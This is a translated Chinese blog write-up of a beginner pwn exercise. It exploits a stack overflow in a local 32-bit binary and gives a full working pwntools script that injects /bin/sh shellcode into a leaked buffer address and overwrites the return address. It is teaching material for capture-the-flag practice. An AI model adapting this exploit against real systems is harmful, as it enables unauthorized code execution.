当前位置:网站首页>PWN stack overflow basic exercise - 2
PWN stack overflow basic exercise - 2
2022-07-23 06:14:00 【Mokapeng】
Title address : Please have a look at pwn Stack overflow basic exercises ——1 ; Put all the exercise topics of this blog
pwn1
First checksec look down , I found that no protection was turned on , Cool, dropping
take level1 Import ida, Find out buf in ebp Only 0x88, But it can be written 0x100, There is obviously stack overflow 
And found that there is no direct backdoor function , Because this problem turns off the stack, it is not executable , You can construct it yourself shellcode
Direct thinking buf Deposit in shellcode, Then execute this paragraph through overflow operation shellcode that will do
First, dynamically debug to see the overflow space 
Then structure shellcode And garbage data is 136+4=140 Byte space , The return address is buf Address , Because it's on ASLR,buf The address will change , But the program directly printed it for us buf The address of , very Nice!!
To write exp.py
from pwn import *
context(log_level = 'debug', arch = 'i386', os = 'linux')
shellcode = asm(shellcraft.sh())
io = process('./level1')
text = io.recvline()[14: -2]
buf_addr = int(text, 16)
payload = shellcode + b'\x90' * (140 - len(shellcode)) + p32(buf_addr)
io.send(payload)
io.interactive()
\x90: Equivalent to null instruction , Even if you execute this command, there will be no error , Suitable for filling garbage characters
边栏推荐
猜你喜欢

UNIX Programming - network socket

中兴通讯云基础设施开源与标准总监李响:面向企业的开源风险与开源治理

Pytoch realizes text emotion analysis

Chapter7 recurrent neural network-1

win11任务管理器怎么打开?win11任务管理器打开的技巧方法

机器学习理论基础

BUUCTF 杂项——二维码

2020_ ACL_ A Transformer-based joint-encoding for Emotion Recognition and Sentiment Analysis

递归级联网络:基于无监督学习的医学图像配准

星策社区发起人谭中意:用开源方式推进企业智能化转型
随机推荐
NLP-语言模型
Chapter7 recurrent neural network-2
华为首席开源联络官任旭东:深耕基础软件开源,协同打造数字世界根技术
Enter two strings STR1 and STR2, and count the number of times that the string STR2 appears in STR1.
2019_ ACL_ Multimodal Transformer for Unaligned Multimodal Language Sequences
Firewall knowledge, principle, equipment, manufacturer research summary report
Information collection research report
Prime palindromes
Chapter7 recurrent neural network-1
机器学习开发应用步骤的理解
Transformer
STM32 learning - DHT11 temperature and humidity sensor sampling drive and reporting in cjson format
Chapter5 深度学习基础
【黄啊码】MySQL入门—3、我用select *,老板直接赶我坐火车回家去,买的还是站票
The simplest scull device driver
第一个PWN 栈溢出简单题
1.从键盘上输入一个百分制成绩score,按下列原则输出其等级:score≥90,等级为A;80≤score<90,等级为B;70≤score<80,等级为C;60≤score<70,等级为D;sco
重磅!《2022中国开源发展蓝皮书》正式发布
[SUCTF 2019]EasySQL
Chapter7 循环神经网络-1